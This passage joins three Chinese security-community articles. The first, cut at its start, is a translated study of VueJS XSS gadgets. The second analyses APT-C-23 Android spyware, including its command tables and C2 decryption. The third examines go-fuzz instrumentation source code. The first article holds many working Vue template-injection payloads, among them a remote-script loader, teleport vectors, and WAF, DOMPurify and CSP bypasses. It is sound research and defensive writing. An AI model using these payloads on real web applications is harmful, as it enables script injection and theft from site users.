3发布了，并且破坏了许多我们发现的向量。我们决定快速查看一下，看看是否能让它们重新工作。在第3版中，很多代码都发生了变化，例如，Function构造函数被移到了13035行，并且删除了VueJS函数的缩短版，例如_b，
。
在13055行添加断点，我们检查了代码变量的内容。看来VueJS的函数与第2版类似，只是函数名更啰嗦了。我们只需要用较长的形式来替换函数的简写。
{ {_openBlock.constructor('alert(1)')()} }
在执行表达式的范围内有几个不同的函数。
{ {_createBlock.constructor('alert(1)')()} }
{ {_toDisplayString.constructor('alert(1)')()} }
{ {_createVNode.constructor('alert(1)')()} }
本篇文章中的大部分向量都可以在v3上工作，只需使用更多的函数。
<p v-show="_createBlock.constructor`alert(1)`()">
在某些情况下，有效载荷无法执行，例如，当使用以下向量时。
<x @[_openBlock.constructor`alert(1)`()]>
这失败的原因是，VueJS将表达式转换为小写，导致它试图调用不存在的_objectblockfunction...。为了解决这个问题，我们在scope中使用了_capitalize函数。
<x @[_capitalize.constructor`alert(1)`()]>
事件还暴露了不同的功能。除了我们前面讨论的$event对象，还有_withCtx和_resolveComponent。后者有点太长，但_withCtx很好，很短。
<x @click=_withCtx.constructor`alert(1)`()>click</x>
使用$event也是一个方便的快捷方式。
<x @click=$event.view.alert(1)>click</x>
### 代码高尔夫V3
我们的向量现在可以在v3中工作，但它们仍然相当长。我们寻找更短的函数名，并注意到有一个叫做_Vue的变量，它在当前的范围内。我们将这个变量传递给Function构造函数，并使用console.log()来检查对象的内容。
{ {_createBlock.constructor('x','console.log(x)')(_Vue)} }。
这看起来只是一个对Vue全局的引用，正如我们所期望的那样，但这个对象有一个叫做h的函数，这是一个很好的、简短的函数名，我们可以用它来将向量还原成。
{ {_Vue.h.constructor`alert(1)`()} }
当我们试图找到进一步减少这种情况的方法时，我们从一个基础向量开始，注入了一个Function构造函数调用。但这一次，我们不只是调用alert()，而是将我们想要检查的对象传递给我们的函数，并使用console.log()来检查对象/代理的内容。代理是一个特殊的JavaScript对象，它允许我们拦截对被代理对象的操作。如get/set操作或函数调用。Vue使用代理，所以可以为表达式提供函数/属性，在当前范围内使用。我们使用的表达式如下。
{ {_Vue.h.constructor('x','console.log(x)')(this)} }
这将在控制台窗口中输出一个对象。如果你检查代理的[[目标]]属性，你将能够看到你可以使用的潜在函数。使用这种方法，我们确定了函数$nextTick,
$watch, $forceUpdate和$emit。使用这些函数中最短的一个，我们能够产生以下向量。
{ {$emit.constructor`alert(1)`()} }
你已经看到了我们VueJS v2的最短向量。
<x is=script src=//14.rs>
这样做是行不通的，因为VueJS v3试图解析一个叫做x的组件，而这个组件因为是本地的，所以不存在。下面的代码是render()函数的一部分。
return function render(_ctx, _cache) {
with (_ctx) {
...
const _component_x = _resolveComponent("x")
...
}
}
然而，有一个特殊的<component>标签，[与之并用](https://github.com/vuejs/vue-next/blob/24041b7ac1a22ca6c10bf2af81c9250af26bda34/packages/compiler-core/src/transforms/transformElement.ts#L342)的是创建动态组件。
所以我们要做的就是将x更改为component.</component>
<component is=script src=//14.rs>
对于上面的向量，render()函数是这样的。
return function render(_ctx, _cache) {
with (_ctx) {
...
return (_openBlock(),
_createBlock(_resolveDynamicComponent("script"),
{ src: "//⑭.₨" }))
}
}
因此，VueJS v3的最短向量是31个字节。
<component is=script src=//⑭.₨>
在版本3中，可以使用DOM属性作为< component>标签的属性。这意味着您可以使用DOM属性文本，它将作为一个文本节点添加到<
script>标签中，然后添加到DOM中。
<component is=script text=alert(1)>
## 传送
我们在VueJS 3中发现了一个非常有趣的新标签，叫做< teleport>。这个标签允许你通过使用to属性将<
teleport>标签的内容转移到任何其他标签，该属性接受一个CSS选择器。
<teleport to="#x"><b>test</b></teleport>
即使是文本节点，标签的内容也会被传输。这意味着我们可以对文本节点进行 HTML 编码，并在传输之前对其进行解码。这适用于
<script>
和
<style>
标签，尽管在我们的测试中，我们发现你需要一个现有的、空白的
<script>
元素:
<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>
[POC](https://tinyurl.com/y34aovfh)
在这个例子中，当前的样式是蓝色的，但我们注入一个< teleport>标签来改变内联样式表的样式。文本就会变成红色。
<teleport to="style">
/* Can be Entity Encoded */
h1 {
color: red;
}
</teleport>
</div>
<h1>aaaa</h1>
<style>
h1 {
color: blue;
}
</style>
[POC](https://tinyurl.com/yxmwvq3m)
你可以将HTML编码与JavaScript中的unicode转义结合起来，产生一些漂亮的向量，可能会绕过一些WAF。
<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>
[POC](https://tinyurl.com/y3ebejfs)
### 反向传送
我们还发现了一些东西，我们决定称之为 "反向传送"。我们已经讨论过VueJS有一个<
teleport>标签，但如果你在模板表达式中包含一个CSS选择器，你可以将任何其他HTML元素作为目标，并将该元素的内容作为表达式执行。即使目标标签在应用程序边界之外，这也是有效的!
当我们意识到VueJS会在表达式的整个内容上运行[querySelector](https://github.com/vuejs/vue-next/blob/fbf865d9d4744a0233db1ed6e5543b8f3ef51e8d/packages/vue/src)时，我们都相当震惊，[只要它以#开头](https://github.com/vuejs/vue-next/blob/fbf865d9d4744a0233db1ed6e5543b8f3ef51e8d/packages/vue/src)。下面的片段演示了一个带有CSS查询的表达式，其目标是类为haha的<
div>。第二个表达式即使在应用程序边界之外也会被执行。
<div id="app">#x,.haha</div><div class=haha>{ {_Vue.h.constructor`alert(1)`()} }</div>
<!-- Notice the div above is outside the application div -->
<script src="vue3.js"></script>
<script nonce="sometoken">
const app = Vue.createApp({
data() {
return {
input: '# hello'
}
}
})
app.mount('#app')
</script>
## 使用案例
在本节中，我们将仔细看看这些脚本小工具可以在哪些方面派上用场。
### WAF
让我们从Web应用防火墙开始。正如我们已经看到的那样，有相当数量的潜在小工具可以发现。由于Vue也乐于解码HTML实体，所以你很有可能绕过常见的WAF，比如Cloudflare。
### 过滤器
诸如[DOMPurify](https://github.com/cure53/DOMPurify)这样的过滤器，有一套非常好的标签和属性的白名单，以帮助阻止任何被认为不正常的东西。然而，由于它们都允许模板语法，因此在与VueJS等前端框架结合使用时，它们并不能提供强大的XSS攻击保护。
### CSP
Vue的工作方式是对内容进行词法分析，并将其解析为抽象语法树（AST）。代码作为字符串传递到渲染函数中，由于Function构造函数的eval-like功能，它在那里被执行。这意味着，CSP的定义方式必须允许VueJS和应用程序仍能正常工作。如果它包含unsafe-eval，你可以使用Vue轻松绕过CSP。请注意，对于严格的动态或nonce旁路，unsafe-eval是一个要求。
Unsafe-eval + nonce :
// v2
{ {_c.constructor`alert(document.currentScript.nonce)`()} }
// v3
{ {_Vue.h.constructor`alert(document.currentScript.nonce)`()} }
本篇文章中的大部分向量都可以和CSP一起使用，唯一例外的是动态组件和基于传送门的向量。唯一的例外是动态组件和基于传送门的向量。这是因为它们试图在文档中附加一个脚本节点，而CSP会阻止它（取决于策略）。
## 结论
我们希望你喜欢我们的文章，就像我们喜欢写它和想出有趣的小工具一样。给查看本帖的开发者和黑客们一些建议。
* 当创建一个JavaScript框架时，或许可以考虑一下你所添加的功能给应用程序带来的攻击面。仔细思考它们可能被使用或滥用的方式。
* 对于黑客来说，当你看中一个新框架时，要深入挖掘它的功能。看看它们一般是如何使用的，以及它们可能被滥用或误用。我们建议查看底层的源码，以了解引擎下面到底发生了什么。
帖子中讨论的所有向量都已被添加到我们[VueJS部分的XSS攻略中](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)。
如果你喜欢这篇文章，请告诉我们!
我们有兴趣对VueJS和其他客户端和服务器端框架进行更多的研究。
## 关于Lewis
[Lewis Ardern](https://twitter.com/LewisArdern) 是 Synopsys
的副首席顾问。他的主要专业领域是网络安全和安全工程。Lewis 喜欢为各种类型的组织和机构创建和提供网络和 JavaScript
安全等主题的安全培训。他也是Leeds Ethical Hacking Society的创始人，并帮助开发了bXSS和SecGen等项目。
## 关于PwnFunction
[PwnFunction](https://twitter.com/PwnFunction) 白天是一名独立的 AppSec
顾问，晚上则是一名研究员。他以其[YouTube频道](https://www.youtube.com/c/PwnFunction)而闻名。Pwn
的兴趣主要是围绕着[应用程序安全](https://portswigger.net/burp/application-security-testing)，但他也对低级别的爵士乐感兴趣，如二进制和浏览器利用。除了计算机之外，他还喜欢数学、科学和哲学。 | 社区文章 |
# APT-C-23新型变种揭秘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.概述
近些年来，移动互联网飞速发展，在移动APP为人们生活提供了大量的便利，同时也给了一些非法组织从事违法犯罪活动提供了渠道，今天我们介绍的是臭名昭著的APT-C-23（双尾蝎APT组织），这个组织以阿拉伯语为主，代表哈马斯、伊斯兰原教旨主义运动，是一个针对中东地区相关国家的教育机构、军事机构等重要领域窃取敏感信息为主的网络攻击组织。随着技术的迭代更新，恶意程序具有更高的隐蔽性，攻击平台主要包括
Windows 与 Android。近几年国内外安全团队都有对此组织的活动的曝光。
近期，暗影实验室的态势感知平台捕获了几款此类的间谍软件,此类恶意程序仿冒成正常的交友聊天类软件，诱导用户下载安装并同意权限和无障碍通知，在注册使用时会根据安卓版本选择隐藏或更改应用图标，隐藏活动入口，防止用户主动杀后台，后台运行通过FCM（Firebase
Cloud Messaging）消息传递和SMS短信并远程操控手机执行监听并上传用户隐私信息，会通过进行远控指令的下发。
主要间谍功能为：
获取用户手机通讯录
获取用户短信
获取指定格式的文件
获取图片
获取通话记录
获取安装应用列表
获取拦截聊天应用的通知消息通知
录音和通话录音
截屏
设置无线网络
调用系统相机拍照
## 2\. 样本信息
恶意程序基本信息如下表：
应用名称 | 样本md5 | 包名
---|---|---
Whispers | 4139BC61833F61365F49DC165AAB0AE5 | com.whispers.chat
Whispers | C76402446B83840DD2D3635522874F8C | com.whispers.chat
恶意程序安装图标如下图：
恶意程序签名信息如下表：
|
---|---
所有者 | EMAILADDRESS=[[email protected]](mailto:[email protected]),
CN=Lorensius W. L. T, OU=AndroidDev, O=Londatiga, L=Bandung, ST=Jawa Barat,
C=ID
发布者 | EMAILADDRESS=[[email protected]](mailto:[email protected]),
CN=Lorensius W. L. T, OU=AndroidDev, O=Londatiga, L=Bandung, ST=Jawa Barat,
C=ID
序列号 | E6EFD52A17E0DCE7
证书MD5 | EEA6F6F40858B8215C48B0465FE479B8
证书SHA1 | ECE521E38C5E9CBEA53503EAEF1A6DDD204583FA
证书SHA256 | 518AC8BDAF0C767DEB31BAE1EBA826ADBEF793A68F22784CF3E19C67BA87ECB9
## 3\. 程序运行流程图
## 4.核心功能
### 4.1 仿冒聊天应用并获取权限
该恶意应用仿冒聊天类应用，诱导用户安装并设置“android:targetSdkVersion=”22”，仿冒GoolePlay一次性申请所有权限隐私权限。
使用钓鱼页面诱导用户FackeBook登录获取其账号密码:
### 4.2 应用防护策略
恶意程序通过激活设备管理和后台隐藏，防止用户正常卸载和杀后台操作；通过隐藏或改变恶意程序桌面快捷方式，欺诈用户。
**4.2.1 激活设备管理器**
恶意程序，通过激活设备管理器，防止用户正常卸载。
判断是否开启了设备管理器:
激活设备管理器:
**4.2.2 隐藏后台**
恶意程序通过设置“excludeFromRecents=”true””属性，使后台运行程序对用户不可见，防止用户主动结束杀后台。
**4.2.3 隐藏应用图标或改变应用图标**
当用户进行注册此应用时，会弹出警告：提示将卸载此应用，实际是恶意软件将根据手机安卓版本选择更改图标或隐藏桌面快捷方式。
* 安卓10及以上版本，将随机更改成谷歌地图、Chrome、设置等图标。
* 安卓10以下版本，隐藏桌面快捷方式。
卸载警告信息和更改快捷方式图标
判断系统版本:
在安卓10版本以下，恶意程序隐藏桌面快捷方式：
通过使用“activity-alias”设置应用Activity的别名，提供快捷入口和更改应用图标：
在安卓10及以上版本，图标将被替换成谷歌地图、Chrome、设置等图标：
### 4.3 监听获取用户隐私
恶意程序通过Google的FCM（Firebase Cloud Messaging）和短信执行远程控制指令。
**4.3.1短信远控指令**
注册短信监听的广播：
通过正则表达式匹配短信内容：
解析到的短信内容指令实现远控操作：
短信指令和远控功能如下表：
短信指令 | 功能
---|---
59 | 启动
95 | 停止
34 | Enable Mobile Data
43 | Disable Mobile Data
5 | 录音重置
77 | 获取应用列表
0 | 开启WIFI
99 | 关闭WIFi
44 | 获取手机通讯录
66 | 获取设备信息
88 | 获取手机文件
11 | 检查进程
7 | 修改domain
**4.3.2FCM远控指令**
在清单文件中注册了FCM的服务：
通过FCM消息传递解析对应参数(type)获取远控指令：
根据远程消息指令实现远控操作：
FCM框架的指令的功能和作用如下表：
FCM指令 | 功能
---|---
take_photo | 获取相册
s_perms | 申请权限
record_sound | 录音
apps_info | 应用列表
wifi_restart | WIFI设置
find_mobile_number | 通话信息
call_rec_encode | 录音加密存储
uninstall_another | 卸载程序
wxyz | 截屏
wxyz_period | 定时截图
call_rec_old_method | 通话录音
call_rec_reset | 通话录音重置
call_logs | 通话记录
w_s | 获取WhatsApp账户信息
access_service_check | 服务器检测
check_hide | 隐藏图标
mess_cont | 获取短信和通讯录
s_tree | 获取目录
stop_rec | 停止录音
stop_custom_rec | 停止录音
stop_current_rec | 暂停录音
manage_files | 文件管理
fast_get | 下载文件
update | 更新
delete_app | 删除APP
online | 电池
info | 账号设备信息
refresh_connect | c从新链接
mobile_data | 设备信息
get_call | 拨打电话
### 4.4 主要间谍功能的实现
恶意程序的主要远程功能为：获取用户通讯录、获取短信、获取通话记录、获取图片、获取指定格式的文件、获取安装应用列表、拦截获取指定聊天软件的通知消息、通话录音、录音、截屏、调用系统相机拍照、启用WIFI等。
获取用户通讯录：
获取用户短信:
获取用户通讯录:
获取指定格式的文件(拓展名为pdf, doc, docs, ppt, pptx, xls, xlsx, txt, text):
获取用户图片（拓展名为jpg, jpeg, png）:
录音功能:
通话录音功能:
获取已安装的应用列表:
获取应用通知通知消息并拦截（facebook、whatsapp、telegram、instagram、viber、skype、imo）:
截屏功能：
调用系统相机拍照:
设置WIFI状态:
## 5\. 服务器C2特征
通过分析发现恶意上传用户隐私信息使用的HTTPS通信，恶意软件通过将地址加密硬编码存放于“liboxygen.so”文件中，并通过解密后的地址返回动态加载真正的恶意地址。
加载so的关键函数:
分析函数找到硬编码的加密地址：
通过AES和Base64进行加解密：
还原解密关键代码：
解密后的中间地址：https://sites.***.com/view/virginia-****/****
通过中间地址动态返回内容匹配关联的字符串：
通过返回匹配到的内容为：
处理匹配到的字符串获取真实的恶意地址：
解析出的真实URL地址为：https://fran*****.com/version/
## 6\. 修复方法
安装此类app后，处理方式有三个步骤，用户可以通过以下方法卸载：
（1）立即关闭所有网络连接（断开手机移动网络和wlan），在未删除app前，建议禁止网络连接；
（2）在手机设置的应用信息中找到应用图标，点击卸载（如激活设备管理器，需要先取消激活）；
（3）如果以上方法都无法删除，备份一些重要数据到电脑，然后恢复出厂设置。如果不放心，也可选择重置手机，以此规避已经投放到手机上的恶意负载的攻击。
## 7\. 安全建议
恒安嘉新暗影移动安全实验室在此提醒广大用户，不轻易相信陌生人，不轻易点击陌生人发送的链接，不轻易下载不安全应用，不安装非正规途径来源的APP。用户可以采用以下方式来阻止钓鱼软件攻击：
> 谨慎打开未知短信的下载链接。
> 避免点击网页中的链接或下载附件。
> 仅从受信任的来源下载应用程序，建议去正规的应用市场或官方下载。 | 社区文章 |
**作者：时钟@RainSec
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## go-fuzz
> Go-fuzz的原理很多都是基于AFL，这里只分析了一些它独特的地方，收获很多，也希望可以和大家交流，如有分析错误还望交流指正。
go-fuzz是google开源的一款go语言fuzz框架，它和AFL很大的一个不同是在于，AFL通常通过对未修改的文件的输入进行操作，而go-fuzz需要你编写一个Fuzz函数，go-fuzz通过不断的调用该函数来进行fuzz，前者通常会为每一个输入创建一个新的进程，后者则是不断的调用Fuzz函数因此不需要经常启动或者重启进程。
## 什么是覆盖引导型Fuzz
覆盖引导型Fuzz通过代码覆盖率信息来决定一个突变是否有效，如果代码覆盖率增长就保存该输入并对其进行持续变异，否则就丢弃该变异：
## 源码解析
### go-fuzz-build模块
该模块的主要作用在于将需要测试的包信息和测试用例信息打包方便进行测试。
1. 利用PProf进行性能分析
2. 加载选中的go语言包和github.com/dvyukov/go-fuzz/go-fuzz-dep这个fuzz材料包
3. 遍历加载的go语言包里面所有的函数名查找所有的名为Fuzz的函数，同时进行签名认证，但是Fuzz函数的个数应该大于0同时小于等于255
4. 获取环境变量，大多是和go有关的环境变量.
5. 加载go语言标准库
6. 忽略一些标准库中的包和github.com/dvyukov/go-fuzz/go-fuzz-dep这个包，因为没有理由进行fuzz测试，为了避免陷入循环（具体为啥我也不是很清楚）
7. 在/tmp下创建临时文件夹保存需要使用的tools和包
8. 接下来就是很高阶的语法树等的建立过程，这个过程中会使用gatherLiterals获取到你提供的初始材料
9. 获取到需要fuzz的包的具体信息，进而可以生成go-fuzz的元数据
10. 将存储信息的cover.exe和sonar.exe已经metadata打包生成zip文件夹
### 语法树插桩实现
go语言不同于C语言可以as等汇编工具来较为方便的实现编译时插桩（具体可以参考AFL的插桩方式），为了实现go语言的编译时插桩，我们首先要了解go语言整体的编译流程：
1. 词法与语法分析
2. 类型检查
3. 中间代码生成
4. 机器码生成
那么其实大致就可以看出比较理想的地方就是词法与语法分析的时候对抽象语法书进行插桩了，同时go标准库也提供了scanner，ast和token等相关库来帮助很好的扫描，解析和创建相关抽象语法树，在整个插桩的过程中其实是把go的包一个个遍历插桩的，然后因为go-fuzz不允许导入main包，其实是因为它在插桩完成之后会自己加入相关的main函数。
在go-fuzz-build中实现了结构体File和结构体Sonar，这两个结构体都实现了自己的Visit()函数用来遍历相关的语法树：
type File struct {
fset *token.FileSet
pkg string
fullName string
astFile *ast.File
blocks *[]CoverBlock
info *types.Info
}
type Sonar struct {
fset *token.FileSet
fullName string
pkg string
blocks *[]CoverBlock
info *types.Info
}
在整个的build的过程中也会生成coverBin和sonarBin两个文件分别对应上述两个结构体的语法树遍历函数执行结果。
#### File遍历
在生成coverBin的时候使用的是File结构体对应的Visit遍历函数，不过在开始遍历之前会通过自身实现的addImport来实现go-fuzz-dep包相关内容的导入：
> file.addImport("go-fuzz-dep", fuzzdepPkg, "CoverTab")
func (f *File) addImport(path, name, anyIdent string) {
newImport := &ast.ImportSpec{
Name: ast.NewIdent(name),
Path: &ast.BasicLit{
Kind: token.STRING,
Value: fmt.Sprintf("%q", path),
},
}
impDecl := &ast.GenDecl{
Lparen: f.astFile.Name.End(),
Tok: token.IMPORT,
Specs: []ast.Spec{
newImport,
},
Rparen: f.astFile.Name.End(),
}
// Make the new import the first Decl in the file.
astFile := f.astFile
astFile.Decls = append(astFile.Decls, nil)
copy(astFile.Decls[1:], astFile.Decls[0:])
astFile.Decls[0] = impDecl
astFile.Imports = append(astFile.Imports, newImport)
// Now refer to the package, just in case it ends up unused.
// That is, append to the end of the file the declaration
// var _ = _cover_atomic_.AddUint32
reference := &ast.GenDecl{
Tok: token.VAR,
Specs: []ast.Spec{
&ast.ValueSpec{
Names: []*ast.Ident{
ast.NewIdent("_"),
},
Values: []ast.Expr{
&ast.SelectorExpr{
X: ast.NewIdent(name),
Sel: ast.NewIdent(anyIdent),
},
},
},
},
}
astFile.Decls = append(astFile.Decls, reference)
}
观察源码其实逻辑也很简单，首先创建了一个基本声明信息节点来将相关的包导入原本的语法树中，同时为了避免导入包但是未使用，所以导入简单的声明语句。导入完成之后使用ast.Walk()来遍历语法树，该函数会调用File结构体对应的Visit函数。
// 源码太长，只贴部分
func (f *File) Visit(node ast.Node) ast.Visitor {
switch n := node.(type) {
case *ast.FuncDecl:
if n.Name.String() == "init" {
// Don't instrument init functions.
// They run regardless of what we do, so it is just noise.
return nil
}
case *ast.GenDecl:
if n.Tok != token.VAR {
return nil // constants and types are not interesting
}
case *ast.BlockStmt: // {}中间的语句
// If it's a switch or select, the body is a list of case clauses; don't tag the block itself.
if len(n.List) > 0 {
switch n.List[0].(type) {
case *ast.CaseClause: // switch
for _, n := range n.List {
clause := n.(*ast.CaseClause)
clause.Body = f.addCounters(clause.Pos(), clause.End(), clause.Body, false)
}
return f
case *ast.CommClause: // select
for _, n := range n.List {
clause := n.(*ast.CommClause)
clause.Body = f.addCounters(clause.Pos(), clause.End(), clause.Body, false)
}
return f
}
}
n.List = f.addCounters(n.Lbrace, n.Rbrace+1, n.List, true) // +1 to step past closing brace.
......
}
可以看出在遍历语法树的过程中对节点的类型进行了判断，然后对{}中间的内容进行一个判断和插桩，具体的插桩函数如下：
func (f *File) addCounters(pos, blockEnd token.Pos, list []ast.Stmt, extendToClosingBrace bool) []ast.Stmt {
// Special case: make sure we add a counter to an empty block. Can't do this below
// or we will add a counter to an empty statement list after, say, a return statement.
if len(list) == 0 {
return []ast.Stmt{f.newCounter(pos, blockEnd, 0)}
}
// We have a block (statement list), but it may have several basic blocks due to the
// appearance of statements that affect the flow of control.
var newList []ast.Stmt
for {
// Find first statement that affects flow of control (break, continue, if, etc.).
// It will be the last statement of this basic block.
var last int
end := blockEnd
for last = 0; last < len(list); last++ {
end = f.statementBoundary(list[last])
if f.endsBasicSourceBlock(list[last]) {
extendToClosingBrace = false // Block is broken up now.
last++
break
}
}
if extendToClosingBrace {
end = blockEnd
}
if pos != end { // Can have no source to cover if e.g. blocks abut.
newList = append(newList, f.newCounter(pos, end, last)) // 在List里面增加counter计数器
}
newList = append(newList, list[0:last]...)
list = list[last:]
if len(list) == 0 {
break
}
pos = list[0].Pos()
}
return newList
}
假设现在有一个switch的demo
func main() {
var n = 1
switch n {
case 0:
fmt.Println("this is 0")
case 1:
fmt.Println("this is 1")
}
}
这一步的具体操作就是把每一个case拿出来，然后将case相关的语法树的起始位置和结束位置还有body部分全部传入addCounters，addCounters的逻辑起始也非常简单，如果body为空就直接返回一个Counter的ast.Stmt声明语法树结构，
> Counter是作者自定义的一种插桩计数器，这种计数器主要包括两个部分:
>
> 1.
> 对于每个包的File的结构体都维护了一个*[]CoverBlock，每次增加Counter都会在这个数组里面增加一个CoverBlock里面记录了插桩语法树的位置以及内部是否还包含多少其他声明。
> 2. 一个是ast.IncDecStmt节点，这个是newCounter()函数的返回值
>
如果body不为空就找到所有影响控制流的声明，比如if，switch, break
,goto等都会开启或者中断一个新的控制流，找到边界声明之后判断其是否属于刚才的类型：
func (f *File) endsBasicSourceBlock(s ast.Stmt) bool {
switch s := s.(type) {
case *ast.BlockStmt:
// Treat blocks like basic blocks to avoid overlapping counters.
return true
case *ast.BranchStmt:
return true
case *ast.ForStmt:
return true
case *ast.IfStmt:
return true
case *ast.LabeledStmt:
return f.endsBasicSourceBlock(s.Stmt)
case *ast.RangeStmt:
return true
case *ast.SwitchStmt:
return true
case *ast.SelectStmt:
return true
case *ast.TypeSwitchStmt:
return true
case *ast.ExprStmt:
// Calls to panic change the flow.
// We really should verify that "panic" is the predefined function,
// but without type checking we can't and the likelihood of it being
// an actual problem is vanishingly small.
if call, ok := s.X.(*ast.CallExpr); ok {
if ident, ok := call.Fun.(*ast.Ident); ok && ident.Name == "panic" && len(call.Args) == 1 {
return true
}
}
}
found, _ := hasFuncLiteral(s)
return found
}
其实就是大量的switch语句，如果是的话，就可以将直接边界作为end进行插桩，这一步的意义其实就是在于把{}里面的body不断的分割成一个个可以影响控制流的小块进行分别插桩。其实到这里我们就可以洞悉go-fuzz整个的插桩思想：在语法分析的时候就通过go-fuzz本身所包含的一个包的内容插桩到各个可以影响控制流的语句块中，那么接下来对应的工作就应该是如何对这些进行插桩语句块进行感知，这其实就是Sonar结构体的作用，这是go-fuzz发明的声呐系统。
#### Sonar遍历
Sonar结构体同样实现了Visit方法来用于遍历语法树，部分源码如下：
func (s *Sonar) Visit(n ast.Node) ast.Visitor {
switch nn := n.(type) {
case *ast.BinaryExpr:
break
......
case *ast.SwitchStmt:
if nn.Tag == nil || nn.Body == nil {
return s // recurse
}
// Replace:
// switch a := foo(); bar(a) {
// case x: ...
// case y: ...
// }
// with:
// switch {
// default:
// a := foo()
// __tmp := bar(a)
// switch {
// case __tmp == x: ...
// case __tmp == y: ...
// }
// }
// The == comparisons will be instrumented later when we recurse.
sw := new(ast.SwitchStmt)
*sw = *nn
var stmts []ast.Stmt
if sw.Init != nil {
stmts = append(stmts, sw.Init)
sw.Init = nil
}
const tmpvar = "__go_fuzz_tmp"
tmp := ast.NewIdent(tmpvar)
typ := s.info.Types[sw.Tag]
s.info.Types[tmp] = typ
stmts = append(stmts, &ast.AssignStmt{Lhs: []ast.Expr{tmp}, Tok: token.DEFINE, Rhs: []ast.Expr{sw.Tag}})
stmts = append(stmts, &ast.AssignStmt{Lhs: []ast.Expr{ast.NewIdent("_")}, Tok: token.ASSIGN, Rhs: []ast.Expr{tmp}})
sw.Tag = nil
stmts = append(stmts, sw)
for _, cas1 := range sw.Body.List {
cas := cas1.(*ast.CaseClause)
for i, expr := range cas.List {
tmp := &ast.Ident{Name: tmpvar, NamePos: expr.Pos()}
s.info.Types[tmp] = typ
cas.List[i] = &ast.BinaryExpr{X: tmp, Op: token.EQL, Y: expr}
}
}
nn.Tag = nil
nn.Init = nil
nn.Body = &ast.BlockStmt{List: []ast.Stmt{&ast.CaseClause{Body: stmts}}}
return s // recurse
......
}
第一步先根据节点类型找到Switch和For这种结构进行语法树级别的变化，整体的替换逻辑已经在注释里面体现出来了，其实就是类似把switch的条件都提出来放在body内部，然后再body里面建立一个新的switch结构，主要作用可能就是方便识别和统计，对于ast.BinaryExpr结构则是通过自定义的flag进行标注。
整体来看其实就是对包内代码各种语法树节点进行类型检查和过滤，因为一些代码是肯定顺序执行的，然后再需要的地方都插入一些标志，同时在结构体里面记录标志的总量，方便在fuzz执行的时候确定自己的代码位置从而更方便进行统计，具体的可以细看相关代码。
#### 插桩总结
其实无论是File还是Sonar，个人认为都算是一种插桩，方便对代码覆盖率进行统计，在结束之后都通过createFuzzMain函数进行了封装，这个地方其实也是go-fuzz不支持fuzz的代码包含main函数的具体原因：
func (c *Context) createFuzzMain() string {
mainPkg := filepath.Join(c.fuzzpkg.PkgPath, "go.fuzz.main")
path := filepath.Join(c.workdir, "gopath", "src", mainPkg)
c.mkdirAll(path)
c.writeFile(filepath.Join(path, "main.go"), c.funcMain())
return mainPkg
}
其实就是将已经写好的main函数模板写入：
var ainSrc = template.Must(template.New("main").Parse(`
package main
import (
target "{{.Pkg}}"
dep "go-fuzz-dep"
)
func main() {
fns := []func([]byte)int {
{{range .AllFuncs}}
target.{{.}},
{{end}}
}
dep.Main(fns)
}
`))
主要作用还是调用包内的Fuzz代码。
### go-fuzz
1. 首先通过丢弃触发相同代码路径的的样本来最小化语料库。
2. 开始改变输入并将数据传递给Fuzz函数，不失败（return 1），然后扩展代码覆盖率的突变会被保留和迭代形成新的样本。
3. 当程序出现Crash的时候，会保存报告并重新启动程序。
Fuzz这块的具体原理其实都是参考的AFL，就不多说了，详细也可以参考AFL的Fuzz方式和源码。
## 测试用例
首先简单介绍一下go的Fuzz函数的基本信息：
func Fuzz(data []byte) int {
}
该函数以int作为返回值，因此当其返回值为0的时候说明Fuzz对于数据不敢影响，可能的原因是测试目标发生了无意义的错误，比如输入内容不合法等，返回值为1说明该数据已经被成功解析，简单来说就是Fuzz输入的data被目标所接受。
### DNS解析器Fuzz
首先第一步是创建初始语料库，其实就是通过拆解pcap数据包来创造数据：
package main
import (
"crypto/rand"
"encoding/hex"
"log"
"os"
"strconv"
"github.com/miekg/pcap"
)
func fatalIfErr(err error) {
if err != nil {
log.Fatal(err)
}
}
func main() {
handle, err := pcap.OpenOffline(os.Args[1])
fatalIfErr(err)
b := make([]byte, 4)
_, err = rand.Read(b)
fatalIfErr(err)
prefix := hex.EncodeToString(b)
i := 0
for pkt := handle.Next(); pkt != nil; pkt = handle.Next() {
pkt.Decode()
f, err := os.Create("p_" + prefix + "_" + strconv.Itoa(i))
fatalIfErr(err)
_, err = f.Write(pkt.Payload)
fatalIfErr(err)
fatalIfErr(f.Close())
i++
}
}
编写初步的Fuzz函数：
func Fuzz(rawMsg []byte) int {
msg := &dns.Msg{}
if unpackErr := msg.Unpack(rawMsg); unpackErr != nil {
return 0
}
if _, packErr = msg.Pack(); packErr != nil {
println("failed to pack back a message")
spew.Dump(msg)
panic(packErr)
}
return 1
}
作者在发现了越界：
func unpackTxt(msg []byte, offset, rdend int) ([]string, int, error) {
var err error
var ss []string
var s string
for offset < rdend && err == nil {
s, offset, err = unpackTxtString(msg, offset)
if err == nil {
ss = append(ss, s)
}
}
return ss, offset, err
}
但是因为这些越界使得程序经常崩溃，并且Fuzz变的缓慢，于是作者先进行了阶段性的修复工作，主要修复是使用len(msg)而不是使用保留的偏移量：
func unpackTxt(msg []byte, off0 int) (ss []string, off int, err error) {
off = off0
var s string
for off < len(msg) && err == nil {
s, off, err = unpackTxtString(msg, off)
if err == nil {
ss = append(ss, s)
}
}
return
}
之后修改好的Fuzz，主要的修改在于增加了ParseDNSPacketSafely，并抛弃了一些无意义的错误，也可能不断测试，不断排除已知的错误:
func Fuzz(rawMsg []byte) int {
var (
msg, msgOld = &dns.Msg{}, &old.Msg{}
buf, bufOld = make([]byte, 100000), make([]byte, 100000)
res, resOld []byte
unpackErr, unpackErrOld error
packErr, packErrOld error
)
unpackErr = msg.Unpack(rawMsg)
unpackErrOld = ParseDNSPacketSafely(rawMsg, msgOld)
if unpackErr != nil && unpackErrOld != nil {
return 0
}
if unpackErr != nil && unpackErr.Error() == "dns: out of order NSEC block" {
// 97b0a31 - rewrite NSEC bitmap [un]packing to account for out-of-order
return 0
}
if unpackErr != nil && unpackErr.Error() == "dns: bad rdlength" {
// 3157620 - unpackStructValue: drop rdlen, reslice msg instead
return 0
}
if unpackErr != nil && unpackErr.Error() == "dns: bad address family" {
// f37c7ea - Reject a bad EDNS0_SUBNET family on unpack (not only on pack)
return 0
}
